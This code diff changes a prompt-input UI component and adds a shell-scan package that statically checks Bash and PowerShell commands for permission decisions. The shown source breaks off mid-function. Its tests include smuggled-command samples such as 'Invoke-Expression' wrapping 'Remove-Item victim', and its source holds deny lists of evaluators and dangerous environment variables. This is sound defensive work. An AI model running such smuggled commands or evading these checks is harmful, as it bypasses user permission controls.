-    props.controller.onCursor(parsePromptInputV2Editor(editor).cursor)
+    props.controller.onCursor(promptInputV2Cursor(editor))
   }
   const mode = createMemo(() => state.mode)
   const buttons = createMemo(() => ({
@@ -166,7 +163,8 @@ export function PromptInputV2(props: PromptInputV2Props) {
             class="relative z-10 block min-h-[60px] max-h-[180px] w-full overflow-y-auto whitespace-pre-wrap bg-transparent px-4 pt-4 pb-2 text-[13px] font-[440] leading-5 text-v2-text-text-base focus:outline-none empty:before:content-['\200B'] [&_[data-mention=file]]:text-syntax-property [&_[data-mention=agent]]:text-syntax-type [&_[data-mention=reference]]:text-syntax-keyword"
             classList={{ "font-mono!": state.mode === "shell", "opacity-50": props.disabled }}
             onInput={(event) => {
-              const { prompt, cursor } = parsePromptInputV2Editor(event.currentTarget)
+              const cursor = promptInputV2Cursor(event.currentTarget)
+              const prompt = parsePromptInputV2Editor(event.currentTarget)
               const images = props.controller.parts().filter((part) => part.type === "image")
               localInput = true
               props.controller.onInput(prompt.map((part) => part.content).join(""), [...prompt, ...images], cursor)
@@ -260,7 +258,6 @@ export function PromptInputV2(props: PromptInputV2Props) {
             mode={state.mode}
             stopping={view.submit.stopping()}
             disabled={!props.controller.canSubmit()}
-            accent={props.accentSubmit}
             sendLabel={i18n.t("ui.promptInput.send")}
             stopLabel={i18n.t("ui.promptInput.stop")}
             onSubmit={props.controller.submit}
@@ -303,13 +300,8 @@ function renderPromptInputV2Editor(editor: HTMLDivElement, prompt: PromptInputV2
 
 function parsePromptInputV2Editor(editor: HTMLDivElement) {
   const parts: Exclude<PromptInputV2Prompt[number], PromptInputV2Attachment>[] = []
-  const selection = window.getSelection()
-  const anchorNode = selection && editor.contains(selection.anchorNode) ? selection.anchorNode : undefined
-  const anchorOffset = anchorNode ? selection!.anchorOffset : 0
   let buffer = ""
   let position = 0
-  let cursor: number | undefined
-  const offset = () => position + buffer.length
 
   const flush = () => {
     if (!buffer) return
@@ -344,42 +336,43 @@ function parsePromptInputV2Editor(editor: HTMLDivElement) {
   }
   const visit = (node: Node) => {
     if (node.nodeType === Node.TEXT_NODE) {
-      if (node === anchorNode) cursor = offset() + Math.min(anchorOffset, node.textContent?.length ?? 0)
       buffer += node.textContent ?? ""
       return
     }
     if (!(node instanceof HTMLElement)) return
     if (node.dataset.mention) {
-      if (node === anchorNode) cursor = offset() + (anchorOffset > 0 ? (node.textContent?.length ?? 0) : 0)
       mention(node)
       return
     }
     if (node.tagName === "BR") {
-      if (node === anchorNode) cursor = offset() + (anchorOffset > 0 ? 1 : 0)
       buffer += "\n"
       return
     }
-    Array.from(node.childNodes).forEach((child, index) => {
-      if (node === anchorNode && anchorOffset === index) cursor = offset()
-      visit(child)
-    })
-    if (node === anchorNode && anchorOffset >= node.childNodes.length) cursor = offset()
+    Array.from(node.childNodes).forEach(visit)
   }
 
   Array.from(editor.childNodes).forEach((node, index, nodes) => {
-    if (editor === anchorNode && anchorOffset === index) cursor = offset()
     visit(node)
     if (node instanceof HTMLElement && ["DIV", "P"].includes(node.tagName) && index < nodes.length - 1) buffer += "\n"
   })
-  if (editor === anchorNode && anchorOffset >= editor.childNodes.length) cursor = offset()
   flush()
-  const result =
-    parts.length === 0 ||
-    (parts.every((part) => part.type === "text") &&
-      parts.every((part) => part.content.replace(/[\n\u200B]/g, "") === ""))
-      ? [{ type: "text" as const, content: "", start: 0, end: 0 }]
-      : parts
-  return { prompt: result, cursor: cursor ?? offset() }
+  if (
+    parts.every((part) => part.type === "text") &&
+    parts.every((part) => part.content.replace(/[\n\u200B]/g, "") === "")
+  ) {
+    return [{ type: "text" as const, content: "", start: 0, end: 0 }]
+  }
+  if (parts.length > 0) return parts
+  return [{ type: "text" as const, content: "", start: 0, end: 0 }]
+}
+
+function promptInputV2Cursor(editor: HTMLDivElement) {
+  const selection = window.getSelection()
+  if (!selection?.rangeCount || !editor.contains(selection.anchorNode)) return editor.textContent?.length ?? 0
+  const range = selection.getRangeAt(0).cloneRange()
+  range.selectNodeContents(editor)
+  range.setEnd(selection.anchorNode!, selection.anchorOffset)
+  return range.toString().length
 }
 
 export function PromptInputV2Attachments(props: {
@@ -680,7 +673,6 @@ export function PromptInputV2SubmitButton(props: {
   mode: PromptInputV2Mode
   stopping: boolean
   disabled: boolean
-  accent?: boolean
   sendLabel: string
   stopLabel: string
   onSubmit: () => void
@@ -699,16 +691,10 @@ export function PromptInputV2SubmitButton(props: {
         tabIndex={props.mode === "normal" ? undefined : -1}
         icon={props.stopping ? "stop" : props.mode === "shell" ? "arrow-undo-down" : "arrow-up"}
         variant="primary"
-        class="size-7 rounded-md p-[6px] shadow-[var(--v2-elevation-button-contrast)] disabled:opacity-50"
-        classList={{
-          "text-v2-text-text-contrast": !!props.accent && !props.stopping && !props.disabled,
-          "text-v2-icon-icon-muted": !props.accent || props.stopping || props.disabled,
-        }}
+        class="size-7 rounded-md p-[6px] text-v2-icon-icon-muted shadow-[var(--v2-elevation-button-contrast)] disabled:opacity-50"
         style={{
           "background-image":
-            props.accent && !props.stopping && !props.disabled
-              ? "linear-gradient(180deg,var(--v2-alpha-light-20) 0%,var(--v2-alpha-light-0) 100%),linear-gradient(90deg,var(--v2-background-bg-accent) 0%,var(--v2-background-bg-accent) 100%)"
-              : "linear-gradient(180deg,var(--v2-alpha-light-20) 0%,var(--v2-alpha-light-0) 100%),linear-gradient(90deg,var(--v2-background-bg-contrast) 0%,var(--v2-background-bg-contrast) 100%)",
+            "linear-gradient(180deg,var(--v2-alpha-light-20) 0%,var(--v2-alpha-light-0) 100%),linear-gradient(90deg,var(--v2-background-bg-contrast) 0%,var(--v2-background-bg-contrast) 100%)",
         }}
         aria-label={props.stopping ? props.stopLabel : props.sendLabel}
         onClick={(event) => {

packages/shell-scan/package.json

@@ -0,0 +1,21 @@
+{
+  "$schema": "https://json.schemastore.org/package.json",
+  "name": "@opencode-ai/shell-scan",
+  "version": "0.0.0",
+  "private": true,
+  "type": "module",
+  "exports": {
+    ".": "./src/index.ts"
+  },
+  "scripts": {
+    "research:execution": "bun run research/execution-oracle.ts",
+    "research:powershell": "bun run research/powershell-conformance.ts",
+    "test": "bun test --only-failures",
+    "typecheck": "tsgo --noEmit"
+  },
+  "devDependencies": {
+    "@tsconfig/bun": "catalog:",
+    "@types/bun": "catalog:",
+    "@typescript/native-preview": "catalog:"
+  }
+}

packages/shell-scan/research/README.md

@@ -0,0 +1,41 @@
+# Shell Permission Scanner Research
+
+## Goal
+
+Produce reusable permission resources only when every shell-language command position in supported Bash and PowerShell subsets is statically identified. Unsupported or malformed shell syntax must be opaque.
+
+This scanner does not interpret command-specific argument languages. Source files, callbacks, plugins, package scripts, remote commands, and other executable behavior delegated through an allowed program remain part of that program's permission boundary.
+
+## Conformance
+
+```sh
+bun run research:execution
+PWSH=/path/to/pwsh bun run research:powershell
+```
+
+The execution oracle runs generated programs against isolated fake executables under Bash and zsh, validating shell syntax and comparing actual dispatches with scanner command heads. The PowerShell oracle uses the official `System.Management.Automation.Language.Parser` through a development-only `pwsh` subprocess. Neither oracle is a runtime dependency.
+
+## Supported subset
+
+- Static command names and arguments
+- Single and double quotes
+- Backslash escapes and line continuation
+- `&&`, `||`, `;`, newline, `|`, and `|&`
+- Static assignment prefixes
+- Simple redirects
+- Comments
+- Recursive Bash `$()` and backtick command substitutions when every nested command is supported
+
+## Opaque subset
+
+- Bash process substitution and arithmetic expansion
+- PowerShell subexpressions, arrays, scriptblocks, and here strings
+- Heredocs and here strings
+- Dynamic command names
+- Shell evaluators and command wrappers
+- Commands that consume source, callbacks, scripts, or mutate command resolution
+- Context-dependent directory changes that cannot be resolved before execution
+- Compound and background commands
+- Malformed syntax
+
+The TUI's independent tree-sitter grammar remains for syntax highlighting. Core has no tree-sitter runtime dependency.

packages/shell-scan/research/execution-oracle.ts

@@ -0,0 +1,319 @@
+import { chmodSync, mkdtempSync, mkdirSync, rmSync, symlinkSync } from "node:fs"
+import { tmpdir } from "node:os"
+import { join } from "node:path"
+import { ShellScan } from "../src/index.js"
+
+const shells = [
+  { name: "bash", path: "/opt/homebrew/bin/bash", args: ["--noprofile", "--norc"], strict: true },
+  { name: "bash-system", path: "/bin/bash", args: ["--noprofile", "--norc"], strict: false },
+  { name: "zsh", path: "/bin/zsh", args: ["-f"], strict: true },
+] as const
+
+const commands = ["oracle_alpha", "oracle_beta", "oracle_gamma", "oracle_fail"] as const
+const successes = commands.slice(0, 3)
+const cases = new Map<string, Set<string>>()
+
+function add(category: string, source: string) {
+  const categories = cases.get(source) ?? new Set<string>()
+  categories.add(category)
+  cases.set(source, categories)
+}
+
+const arguments_ = [
+  "",
+  " plain",
+  " 'single ; | && # $(oracle_gamma)'",
+  ' "double ; | && #"',
+  " escaped\\;separator",
+  " hash#inside",
+  " 'two words' tail",
+  ' "dollar $HOME"',
+  " backslash\\ space",
+] as const
+const assignments = ["", "X=plain ", "X='two words' ", 'X="two words" '] as const
+const redirects = ["", " > output", " 2> error", " < empty"] as const
+
+for (const command of commands) {
+  for (const assignment of assignments) {
+    for (const argument of arguments_) {
+      for (const redirect of redirects) add("simple", assignment + command + argument + redirect)
+    }
+  }
+}
+
+const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] as const
+for (const left of commands) {
+  for (const separator of separators) {
+    for (const right of successes) add("separator", left + separator + right + " final")
+  }
+}
+
+const substitutions = [
+  (outer: string, inner: string) => `${outer} $(${inner})`,
+  (outer: string, inner: string) => `${outer} "$(${inner})"`,
+  (outer: string, inner: string) => `${outer} pre$(${inner})post`,
+  (outer: string, inner: string) => `X=$(${inner}) ${outer}`,
+  (outer: string, inner: string) => `${outer} >$(${inner})`,
+  (outer: string, inner: string) => `${outer} \`${inner}\``,
+  (outer: string, inner: string) => `${outer} "$(${inner} "$(oracle_gamma)")"`,
+  (outer: string, inner: string) => `${outer} "$(${inner} one; oracle_gamma two)"`,
+] as const
+for (const outer of successes) {
+  for (const inner of commands) {
+    for (const substitution of substitutions) add("substitution", substitution(outer, inner))
+  }
+}
+
+for (const command of successes) {
+  add("comment", `${command} before # oracle_fail ignored\noracle_beta after`)
+  add("comment", `# ${command} ignored\noracle_beta after`)
+  add("comment", `${command} hash#word # oracle_fail ignored`)
+  add("continuation", `${command} before\\\nafter`)
+  add("continuation", `${command} before \\\n after ; oracle_beta`)
+  add("quote", `'${command}' quoted-head`)
+  add("quote", `"${command}" quoted-head`)
+  add("quote", `${command.slice(0, 7)}\\${command.slice(7)} escaped-head`)
+}
+
+add("conditional", "oracle_fail || oracle_alpha recovered")
+add("conditional", "oracle_fail && oracle_alpha unreachable")
+add("conditional", "oracle_alpha || oracle_fail unreachable")
+add("conditional", "oracle_alpha && oracle_beta reached")
+add("dynamic", "NAME=oracle_alpha; $NAME dynamic-head")
+add("dynamic", "oracle_alpha $(NAME=oracle_beta; $NAME nested-dynamic)")
+add("literal", "oracle_alpha '$(oracle_fail)' 'literal ` text'")
+
+let randomState = 0x5eed1234
+const random = (length: number) => {
+  randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
+  return randomState % length
+}
+const atoms = [
+  ...commands,
+  ...successes.map((command) => `${command} plain`),
+  ...successes.map((command) => `${command} 'literal ; | #'`),
+  ...successes.map((command) => `${command} \"literal ; | #\"`),
+  ...successes.map((command) => `X=value ${command}`),
+] as const
+for (let iteration = 0; iteration < 2_500; iteration++) {
+  const left = `${atoms[random(atoms.length)]} fuzz${iteration}`
+  const right = `${atoms[random(atoms.length)]} fuzz${iteration}`
+  const nested = successes[random(successes.length)]
+  const forms = [
+    `${left}${separators[random(separators.length)]}${right}`,
+    `${left} $(${right})`,
+    `${left} \"$(${right})\"`,
+    `${left} pre$(${right})post`,
+    `X=$(${right}) ${left}`,
+    `${left} $(${right}; ${nested})`,
+    `${left} before # ignored\n${right}`,
+    `${left} before\\\nafter; ${right}`,
+  ]
+  add("deterministic-random", forms[iteration % forms.length])
+}
+
+const executionCases = [...cases].map(([source, categories], caseIndex) => {
+  let occurrence = 0
+  const names: string[] = []
+  const unique = source.replace(/\boracle_(?:alpha|beta|gamma|fail)\b/g, () => {
+    const name = `oracle_${caseIndex}_${occurrence++}`
+    names.push(name)
+    return name
+  })
+  return { source: unique, categories, names }
+})
+
+const root = mkdtempSync(join(tmpdir(), "shell-scan-execution-oracle-"))
+const bin = join(root, "bin")
+const work = join(root, "work")
+const log = join(root, "dispatch.log")
+mkdirSync(bin)
+mkdirSync(work)
+await Bun.write(join(work, "empty"), "")
+await Bun.write(
+  join(bin, "oracle-command"),
+  `#!/bin/sh
+name=\${0##*/}
+printf '%s\\n' "$name" >> "$ORACLE_LOG"
+printf '%s\\n' "$name"
+[ "$ORACLE_MODE" = failure ] && exit 1
+`,
+)
+chmodSync(join(bin, "oracle-command"), 0o755)
+for (const name of executionCases.flatMap((item) => item.names)) symlinkSync("oracle-command", join(bin, name))
+
+type Finding = {
+  shell: string
+  categories: string[]
+  source: string
+  dispatched: string[]
+  scanned: string[]
+  missing: string[]
+  status: number
+  stderr: string
+  reason: "dispatch" | "parse"
+}
+
+const findings: Finding[] = []
+const metrics = Object.fromEntries(
+  shells.map((shell) => [shell.name, { executed: 0, parsed: 0, scanned: 0, opaque: 0, dispatches: 0, violations: 0 }]),
+)
+const coverage = Object.fromEntries(
+  shells.flatMap((shell) =>
+    [...new Set(executionCases.flatMap((item) => [...item.categories]))].map((category) => [
+      `${shell.name}:${category}`,
+      { scanned: 0, dispatches: 0 },
+    ]),
+  ),
+)
+const versions = Object.fromEntries(
+  shells.map((shell) => {
+    const version = Bun.spawnSync([shell.path, "--version"], { stdout: "pipe", stderr: "pipe" })
+    return [shell.name, (version.stdout.toString() || version.stderr.toString()).split("\n")[0]?.trim()]
+  }),
+)
+
+try {
+  for (const shell of shells) {
+    for (const { source, categories } of executionCases) {
+      const result = ShellScan.scan(source)
+      const metric = metrics[shell.name]
+      metric.executed++
+      const parsed = Bun.spawnSync([shell.path, ...shell.args, "-n", "-c", source], {
+        cwd: work,
+        env: { HOME: root, PATH: bin, ZDOTDIR: root },
+        stdin: "ignore",
+        stdout: "ignore",
+        stderr: "pipe",
+      })
+      if (parsed.exitCode === 0) metric.parsed++
+      if (result.kind === "scanned" && parsed.exitCode !== 0 && shell.strict) {
+        metric.violations++
+        findings.push({
+          shell: shell.name,
+          categories: [...categories],
+          source,
+          dispatched: [],
+          scanned: result.commands.map((command) => command.words[0] ?? ""),
+          missing: [],
+          status: parsed.exitCode,
+          stderr: parsed.stderr.toString().trim(),
+          reason: "parse",
+        })
+        continue
+      }
+      if (parsed.exitCode !== 0) continue
+      if (result.kind === "opaque") {
+        metric.opaque++
+        continue
+      }
+      metric.scanned++
+      const dispatched = new Set<string>()
+      let status = 0
+      let stderr = ""
+      for (const mode of ["success", "failure"]) {
+        await Bun.write(log, "")
+        const execution = Bun.spawnSync([shell.path, ...shell.args, "-c", source], {
+          cwd: work,
+          env: { HOME: root, PATH: bin, ORACLE_LOG: log, ORACLE_MODE: mode, ZDOTDIR: root },
+          stdin: "ignore",
+          stdout: "ignore",
+          stderr: "pipe",
+        })
+        status = execution.exitCode
+        stderr = execution.stderr.toString().trim()
+        if (execution.exitCode === 127 || /command not found|not found/i.test(execution.stderr.toString())) {
+          metric.violations++
+          findings.push({
+            shell: shell.name,
+            categories: [...categories],
+            source,
+            dispatched: [...dispatched],
+            scanned: result.commands.map((command) => command.words[0] ?? ""),
+            missing: [],
+            status: execution.exitCode,
+            stderr: execution.stderr.toString().trim(),
+            reason: "dispatch",
+          })
+        }
+        for (const name of (await Bun.file(log).text()).split("\n").filter(Boolean)) dispatched.add(name)
+      }
+      metric.dispatches += dispatched.size
+      for (const category of categories) {
+        coverage[`${shell.name}:${category}`].scanned++
+        coverage[`${shell.name}:${category}`].dispatches += dispatched.size
+      }
+      const remaining = new Set(result.commands.map((command) => command.words[0] ?? ""))
+      const missing = [...dispatched].filter((name) => {
+        return !remaining.has(name)
+      })
+      if (!missing.length) continue
+      metric.violations++
+      findings.push({
+        shell: shell.name,
+        categories: [...categories],
+        source,
+        dispatched: [...dispatched],
+        scanned: result.commands.map((command) => command.words[0] ?? ""),
+        missing,
+        status,
+        stderr,
+        reason: "dispatch",
+      })
+    }
+  }
+} finally {
+  rmSync(root, { recursive: true, force: true })
+}
+
+for (const shell of shells) {
+  const metric = metrics[shell.name]
+  if (metric.scanned < 2_000 || metric.dispatches < 4_000) {
+    throw new Error(
+      `${shell.name} coverage fell below floor: ${metric.scanned} scanned, ${metric.dispatches} dispatches`,
+    )
+  }
+  for (const category of [
+    "simple",
+    "separator",
+    "substitution",
+    "comment",
+    "continuation",
+    "conditional",
+    "literal",
+    "deterministic-random",
+  ]) {
+    const item = coverage[`${shell.name}:${category}`]
+    if (!item || item.scanned === 0 || item.dispatches === 0)
+      throw new Error(`${shell.name}:${category} has no scanned dispatch coverage`)
+  }
+}
+
+console.log(
+  JSON.stringify(
+    {
+      schema: 1,
+      invariant: "For scanned results, every uniquely named fake-executable dispatch appears in scanned command heads.",
+      generated: executionCases.length,
+      categories: Object.fromEntries(
+        [...new Set([...cases.values()].flatMap((categories) => [...categories]))].map((category) => [
+          category,
+          [...cases.values()].filter((categories) => categories.has(category)).length,
+        ]),
+      ),
+      shells: shells.map((shell) => ({
+        name: shell.name,
+        path: shell.path,
+        version: versions[shell.name],
+        strictSyntax: shell.strict,
+        metrics: metrics[shell.name],
+      })),
+      coverage,
+      findings,
+    },
+    null,
+    2,
+  ),
+)
+
+if (findings.length) process.exitCode = 1

packages/shell-scan/research/powershell-conformance.ts

@@ -0,0 +1,158 @@
+import { ShellScan } from "../src/index.js"
+
+const pwsh = process.env.PWSH ?? Bun.which("pwsh")
+if (!pwsh) {
+  console.error("Set PWSH to a PowerShell executable")
+  process.exit(2)
+}
+const versionProcess = Bun.spawnSync(
+  [pwsh, "-NoProfile", "-NonInteractive", "-Command", "$PSVersionTable.PSVersion.Major"],
+  { stdout: "pipe", stderr: "pipe" },
+)
+const oracleMajor = Number(versionProcess.stdout.toString().trim())
+if (versionProcess.exitCode !== 0 || !Number.isInteger(oracleMajor) || oracleMajor < 5)
+  throw new Error(`PowerShell 5 or newer required: ${versionProcess.stderr.toString().trim()}`)
+
+const commands = ["Get-ChildItem", "Write-Output", "Remove-Item", "Test-Path"] as const
+const arguments_ = ["", " value", " 'single ; | # text'", ' "double ; | # text"', " foo`;bar"] as const
+const separators = [";", "|", ...(oracleMajor >= 7 ? ["&&", "||"] : []), "\n", "\r", "\r\n"] as const
+const sources = new Set<string>()
+
+for (const command of commands) {
+  for (const argument of arguments_) sources.add(command + argument)
+}
+for (const left of commands) {
+  for (const separator of separators) {
+    for (const right of commands) sources.add(`${left} left${separator}${right} right`)
+  }
+}
+for (const command of commands) {
+  sources.add(`# comment\n${command}`)
+  sources.add(`# comment\r${command}`)
+  sources.add(`# comment\r\n${command}`)
+  sources.add(`${command} before # ignored\nWrite-Output after`)
+  sources.add(`${command} before # ignored\rWrite-Output after`)
+  sources.add(`${command} before # ignored\r\nWrite-Output after`)
+  sources.add(`${command} one > output.txt`)
+  sources.add(`${command} one 2>&1`)
+  sources.add(`${command} one\n\nWrite-Output two`)
+}
+
+const unsupported = [
+  "$Command value",
+  "& $Command value",
+  ". ./script.ps1",
+  'Write-Output "$(Get-ChildItem)"',
+  "Get-ChildItem | ForEach-Object { Remove-Item $_ }",
+  "return Remove-Item victim",
+  "throw Get-ChildItem",
+  "[string]$x = Remove-Item victim",
+  "Invoke-`\nExpression 'Remove-Item victim'",
+  "<# comment #> Remove-Item victim",
+  "using module Evil",
+  "#Requires -Modules Evil\nWrite-Output ok",
+] as const
+for (const source of unsupported) sources.add(source)
+const malformed = ['Write-Output "unterminated', "Get-ChildItem |", "Write-Output ok`", "Get-ChildItem &&"] as const
+for (const source of malformed) sources.add(source)
+
+let randomState = 0x50a7e11
+const random = (length: number) => {
+  randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
+  return randomState % length
+}
+for (let iteration = 0; iteration < 2_500; iteration++) {
+  const left = commands[random(commands.length)]
+  const right = commands[random(commands.length)]
+  const separator = separators[random(separators.length)]
+  const argument = arguments_[random(arguments_.length)]
+  const forms = [
+    `${left} fuzz${iteration}${separator}${right}${argument}`,
+    `${left.toLowerCase()} fuzz${iteration}${separator}${right.toUpperCase()}${argument}`,
+    `${left} fuzz${iteration} > output${iteration}; ${right}${argument}`,
+    `${left} fuzz${iteration} # ignored\n${right}${argument}`,
+    `${left} fuzz${iteration} # ignored\r${right}${argument}`,
+    `${left} fuzz${iteration} # ignored\r\n${right}${argument}`,
+    `${left}\`\n fuzz${iteration}; ${right}${argument}`,
+    `Microsoft.PowerShell.Management\\${left} fuzz${iteration}; ${right}${argument}`,
+  ]
+  sources.add(forms[random(forms.length)])
+}
+
+const process_ = Bun.spawnSync([pwsh, "-NoProfile", "-NonInteractive", "-File", "research/powershell-oracle.ps1"], {
+  cwd: import.meta.dir + "/..",
+  stdin: new TextEncoder().encode(JSON.stringify([...sources])),
+  stdout: "pipe",
+  stderr: "pipe",
+})
+if (process_.exitCode !== 0) {
+  console.error(process_.stderr.toString())
+  process.exit(process_.exitCode)
+}
+
+const oracle = JSON.parse(process_.stdout.toString()) as {
+  version: string
+  results: Array<{
+    source: string
+    commands: Array<{ name: string | null; text: string; start: number; end: number }>
+    errors: string[]
+  }>
+}
+const version = Number(oracle.version.split(".")[0])
+if (version !== oracleMajor)
+  throw new Error(`PowerShell version changed during oracle run: ${oracleMajor} to ${oracle.version}`)
+const returned = new Set(oracle.results.map((result) => result.source))
+if (
+  oracle.results.length !== sources.size ||
+  returned.size !== sources.size ||
+  [...sources].some((source) => !returned.has(source))
+)
+  throw new Error(`PowerShell oracle returned ${oracle.results.length} results for ${sources.size} unique sources`)
+const evaluated = oracle.results.map((item) => ({ item, scanned: ShellScan.scanPowerShell(item.source) }))
+const findings = evaluated.flatMap(({ item, scanned }) => {
+  if (unsupported.includes(item.source as (typeof unsupported)[number]) && scanned.kind !== "opaque")
+    return [{ source: item.source, reason: "unsupported-scanned", expected: [], actual: [], missing: [] }]
+  if (item.errors.length > 0)
+    return scanned.kind === "opaque"
+      ? []
+      : [{ source: item.source, reason: "malformed-scanned", expected: [], actual: [], missing: item.errors }]
+  if (scanned.kind === "opaque") return []
+  if (item.commands.some((command) => command.name === null))
+    return [{ source: item.source, reason: "dynamic-head-scanned", expected: [], actual: [], missing: [] }]
+  const expected = item.commands.map((command) => normalize(command.name ?? ""))
+  const actual = scanned.commands.map((command) => normalize(command.words[0] ?? ""))
+  let index = 0
+  const missing = expected.filter((name) => {
+    while (index < actual.length && actual[index] !== name) index++
+    if (index >= actual.length) return true
+    index++
+    return false
+  })
+  const invalidExtent = item.commands.find((command) => item.source.slice(command.start, command.end) !== command.text)
+  if (invalidExtent)
+    return [{ source: item.source, reason: "invalid-extent", expected, actual, missing: [invalidExtent.text] }]
+  return missing.length > 0 ? [{ source: item.source, reason: "missing-command", expected, actual, missing }] : []
+})
+const scannedCount = evaluated.filter(({ scanned }) => scanned.kind === "scanned").length
+if (scannedCount < 1_900) throw new Error(`PowerShell scanned coverage fell below floor: ${scannedCount}`)
+
+console.log(
+  JSON.stringify(
+    {
+      schema: 1,
+      powershell: oracle.version,
+      generated: sources.size,
+      parsed: oracle.results.filter((result) => result.errors.length === 0).length,
+      scanned: scannedCount,
+      violations: findings.length,
+      findings,
+    },
+    null,
+    2,
+  ),
+)
+if (findings.length > 0) process.exitCode = 1
+
+function normalize(name: string) {
+  return name.replace(/`?[\r\n]+/g, "").toLowerCase()
+}

packages/shell-scan/research/powershell-oracle.ps1

@@ -0,0 +1,29 @@
+$ErrorActionPreference = "Stop"
+
+$sources = [Console]::In.ReadToEnd() | ConvertFrom-Json
+$results = foreach ($source in $sources) {
+  $tokens = $null
+  $errors = $null
+  $ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref] $tokens, [ref] $errors)
+  $commands = $ast.FindAll(
+    { param($node) $node -is [System.Management.Automation.Language.CommandAst] },
+    $true
+  ) | ForEach-Object {
+    [pscustomobject]@{
+      name = $_.GetCommandName()
+      text = $_.Extent.Text
+      start = $_.Extent.StartOffset
+      end = $_.Extent.EndOffset
+    }
+  }
+  [pscustomobject]@{
+    source = $source
+    commands = @($commands)
+    errors = @($errors | ForEach-Object { $_.Message })
+  }
+}
+
+[pscustomobject]@{
+  version = $PSVersionTable.PSVersion.ToString()
+  results = @($results)
+} | ConvertTo-Json -Depth 6 -Compress

packages/shell-scan/src/index.ts

@@ -0,0 +1,645 @@
+export * as ShellScan from "./index.js"
+
+export type OpaqueReason =
+  | "command-substitution"
+  | "compound-command"
+  | "command-wrapper"
+  | "dynamic-command-name"
+  | "dynamic-directory"
+  | "dynamic-execution"
+  | "heredoc"
+  | "invalid-redirect"
+  | "invalid-structure"
+  | "shell-evaluation"
+  | "unterminated-escape"
+  | "unterminated-quote"
+
+export type Result =
+  | { kind: "scanned"; commands: Array<{ resource: string; words: string[] }> }
+  | { kind: "opaque"; reason: OpaqueReason }
+
+const BASH_WRAPPERS = new Set([
+  "-",
+  "time",
+  "command",
+  "builtin",
+  "exec",
+  "env",
+  "sudo",
+  "nice",
+  "nohup",
+  "xargs",
+  "source",
+  ".",
+  "trap",
+  "noglob",
+  "nocorrect",
+  "repeat",
+])
+const BASH_SHELLS = new Set(["bash", "sh", "dash", "zsh", "ksh"])
+const BASH_DYNAMIC_BUILTINS = new Set([
+  "alias",
+  "emulate",
+  "enable",
+  "fc",
+  "hash",
+  "let",
+  "mapfile",
+  "read",
+  "readarray",
+  "shopt",
+  "unalias",
+  "unset",
+])
+const BASH_COMPOUND_KEYWORDS = new Set([
+  "if",
+  "then",
+  "elif",
+  "else",
+  "fi",
+  "for",
+  "while",
+  "until",
+  "case",
+  "select",
+  "function",
+  "do",
+  "done",
+  "coproc",
+])
+const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location"])
+const POWERSHELL_SHELLS = new Set(["powershell", "powershell.exe", "pwsh", "pwsh.exe"])
+const POWERSHELL_DYNAMIC_COMMANDS = new Set([
+  "add-pssnapin",
+  "add-type",
+  "cmd",
+  "cmd.exe",
+  "cscript",
+  "cscript.exe",
+  "enter-pssession",
+  "foreach-object",
+  "iex",
+  "import-alias",
+  "import-module",
+  "import-pssession",
+  "invoke-history",
+  "invoke-command",
+  "invoke-expression",
+  "invoke-item",
+  "measure-command",
+  "new-alias",
+  "new-module",
+  "register-objectevent",
+  "register-engineevent",
+  "remove-alias",
+  "remove-module",
+  "remove-pssnapin",
+  "set-alias",
+  "start-job",
+  "start-process",
+  "start-threadjob",
+  "set-psbreakpoint",
+  "trace-command",
+  "where-object",
+  "wscript",
+  "wscript.exe",
+])
+const POWERSHELL_ALIASES: Record<string, string> = {
+  "%": "foreach-object",
+  "?": "where-object",
+  ac: "add-content",
+  asnp: "add-pssnapin",
+  cli: "clear-item",
+  clc: "clear-content",
+  copy: "copy-item",
+  cp: "copy-item",
+  cpi: "copy-item",
+  del: "remove-item",
+  erase: "remove-item",
+  etsn: "enter-pssession",
+  foreach: "foreach-object",
+  icm: "invoke-command",
+  ihy: "invoke-history",
+  ii: "invoke-item",
+  ipal: "import-alias",
+  ipmo: "import-module",
+  ipsn: "import-pssession",
+  mi: "move-item",
+  move: "move-item",
+  mv: "move-item",
+  nal: "new-alias",
+  ni: "new-item",
+  nmo: "new-module",
+  r: "invoke-history",
+  rd: "remove-item",
+  ren: "rename-item",
+  ri: "remove-item",
+  rm: "remove-item",
+  rmdir: "remove-item",
+  rni: "rename-item",
+  rmo: "remove-module",
+  rsnp: "remove-pssnapin",
+  sajb: "start-job",
+  sal: "set-alias",
+  saps: "start-process",
+  sbp: "set-psbreakpoint",
+  sc: "set-content",
+  si: "set-item",
+  start: "start-process",
+  pushd: "push-location",
+  trcm: "trace-command",
+  where: "where-object",
+}
+const MAX_BASH_INPUT_LENGTH = 64 * 1024
+const MAX_SUBSTITUTION_DEPTH = 32
+
+export function scan(input: string): Result {
+  return scanBash(input, 0)
+}
+
+function scanBash(input: string, depth: number): Result {
+  if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
+  const commands: Array<{ resource: string; words: string[] }> = []
+  const nestedCommands: Array<{ resource: string; words: string[] }> = []
+  const words: string[] = []
+  const unsafeWords: boolean[] = []
+  const assignmentWords: boolean[] = []
+  let word = ""
+  let wordStarted = false
+  let unsafeWord = false
+  let assignmentWord = false
+  let segment = 0
+  let quote: "single" | "double" | undefined
+  let dynamicWord = false
+  let compound = false
+  let invalidRedirect = false
+  let invalidStructure = false
+  let separated = false
+  let comment: number | undefined
+  let heredoc = false
+  let redirectTarget = false
+  let hasRedirect = false
+  let dynamicAssignment = false
+
+  const finishWord = () => {
+    if (!wordStarted) return
+    if (!redirectTarget) {
+      words.push(word)
+      unsafeWords.push(unsafeWord)
+      assignmentWords.push(assignmentWord)
+    }
+    redirectTarget = false
+    word = ""
+    wordStarted = false
+    unsafeWord = false
+    assignmentWord = false
+  }
+  const finishCommand = (end: number, boundary = false) => {
+    finishWord()
+    const resource = input.slice(segment, end).trim()
+    const name = assignmentWords.findIndex((assignment) => !assignment)
+    if (
+      assignmentWords.some(
+        (assignment, index) =>
+          assignment &&
+          /^(?:PATH|path|CDPATH|cdpath|FPATH|fpath|ENV|BASH_ENV|SHELLOPTS|PS4|PROMPT4|LD_[A-Z0-9_]+|DYLD_[A-Z0-9_]+|GIT_[A-Z_]*COMMAND)\+?=/.test(
+            words[index] ?? "",
+          ),
+      )
+    )
+      dynamicAssignment = true
+    if (name >= 0 && (unsafeWords[name] || /[*?[]/.test(words[name]))) compound = true
